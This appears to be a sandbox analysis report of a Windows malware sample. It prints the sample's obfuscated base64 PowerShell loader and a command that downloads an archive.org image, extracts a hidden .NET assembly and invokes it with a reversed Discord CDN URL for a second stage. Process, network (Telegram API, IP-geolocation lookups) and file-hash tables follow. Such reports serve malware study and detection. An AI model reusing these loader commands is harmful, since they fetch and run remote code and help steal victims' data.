❄Z⼞ ⋄ ⍃ ⨞ ❄Bu⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄aQBi⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄SQBP⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄S⼞ ⋄ ⍃ ⨞ ❄Bv⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄ZQB0⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄bwBk⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄B5⼞ ⋄ ⍃ ⨞ ❄H⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄Ec⼞ ⋄ ⍃ ⨞ ❄ZQB0⼞ ⋄ ⍃ ⨞ ❄E0⼞ ⋄ ⍃ ⨞ ❄ZQB0⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄bwBk⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄JwBW⼞ ⋄ ⍃ ⨞ ❄EE⼞ ⋄ ⍃ ⨞ ❄SQ⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄LgBJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄dgBv⼞ ⋄ ⍃ ⨞ ❄Gs⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄bgB1⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄WwBv⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄agBl⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄F0⼞ ⋄ ⍃ ⨞ ❄XQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄m⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄MQBi⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄ZgBk⼞ ⋄ ⍃ ⨞ ❄Dg⼞ ⋄ ⍃ ⨞ ❄M⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄Mg⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄Dc⼞ ⋄ ⍃ ⨞ ❄MwBk⼞ ⋄ ⍃ ⨞ ❄GY⼞ ⋄ ⍃ ⨞ ❄Yg⼞ ⋄ ⍃ ⨞ ❄1⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄3⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄MQBi⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Yw⼞ ⋄ ⍃ ⨞ ❄1⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄MQBj⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄NQ⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄NwBh⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄NQ⼞ ⋄ ⍃ ⨞ ❄w⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄Bm⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄OQ⼞ ⋄ ⍃ ⨞ ❄3⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄z⼞ ⋄ ⍃ ⨞ ❄GY⼞ ⋄ ⍃ ⨞ ❄Yw⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄NgBl⼞ ⋄ ⍃ ⨞ ❄DU⼞ ⋄ ⍃ ⨞ ❄PQBt⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄JgBj⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄Bj⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Yw⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄PQBz⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄JgBj⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄NQ⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄PQB4⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄PwB0⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄Eo⼞ ⋄ ⍃ ⨞ ❄Sg⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄O⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄1⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄MQ⼞ ⋄ ⍃ ⨞ ❄w⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄z⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄y⼞ ⋄ ⍃ ⨞ ❄Dg⼞ ⋄ ⍃ ⨞ ❄Nw⼞ ⋄ ⍃ ⨞ ❄y⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄Lw⼞ ⋄ ⍃ ⨞ ❄5⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄Dc⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄z⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄DU⼞ ⋄ ⍃ ⨞ ❄OQ⼞ ⋄ ⍃ ⨞ ❄3⼞ ⋄ ⍃ ⨞ ❄Dc⼞ ⋄ ⍃ ⨞ ❄Mg⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄YwBh⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄bQBv⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄LgBw⼞ ⋄ ⍃ ⨞ ❄H⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄bwBj⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄aQBk⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄Lw⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄cwBw⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bo⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄JwBD⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄X⼞ ⋄ ⍃ ⨞ ❄BQ⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄bwBn⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄YQBt⼞ ⋄ ⍃ ⨞ ❄EQ⼞ ⋄ ⍃ ⨞ ❄YQB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄X⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄L⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄cgBl⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄By⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄BV⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄aQBs⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄L⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQBz⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄HY⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('⼞ ⋄ ⍃ ⨞ ❄','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&91bcfd804a2673dfb54374d1c1b4c541cc5117ac50a4f497b66433fc4b66e6e5=mh&c14cec66=si&c9510d66=xe?txt.JJ/1319851109630428721/9941734063661597721/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'terrestre','InstallUtil','desativado'))"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\terrestre.js"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ia601606.us.archive.org | udp |
| US | 207.241.227.86:443 | ia601606.us.archive.org | tcp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 8.8.8.8:53 | 86.227.241.207.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | 233.130.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| US | 158.101.44.242:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | 242.44.101.158.in-addr.arpa | udp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
memory/2360-0-0x00007FFF2E7C3000-0x00007FFF2E7C5000-memory.dmp
memory/2360-1-0x0000013552E80000-0x0000013552EA2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_icqgfhde.g4z.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2360-11-0x00007FFF2E7C0000-0x00007FFF2F281000-memory.dmp
memory/2360-12-0x00007FFF2E7C0000-0x00007FFF2F281000-memory.dmp
memory/3200-22-0x0000024357140000-0x0000024357262000-memory.dmp
memory/624-24-0x0000000000400000-0x0000000000448000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d8b9a260789a22d72263ef3bb119108c |
| SHA1 | 376a9bd48726f422679f2cd65003442c0b6f6dd5 |
| SHA256 | d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc |
| SHA512 | 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
memory/2360-30-0x00007FFF2E7C0000-0x00007FFF2F281000-memory.dmp
memory/624-31-0x0000000005A30000-0x0000000005FD4000-memory.dmp
memory/624-32-0x0000000005480000-0x000000000551C000-memory.dmp
memory/624-33-0x00000000068B0000-0x0000000006A72000-memory.dmp
memory/624-34-0x0000000006750000-0x00000000067A0000-memory.dmp
memory/624-35-0x0000000006A80000-0x0000000006B12000-memory.dmp
memory/624-36-0x0000000006870000-0x000000000687A000-memory.dmp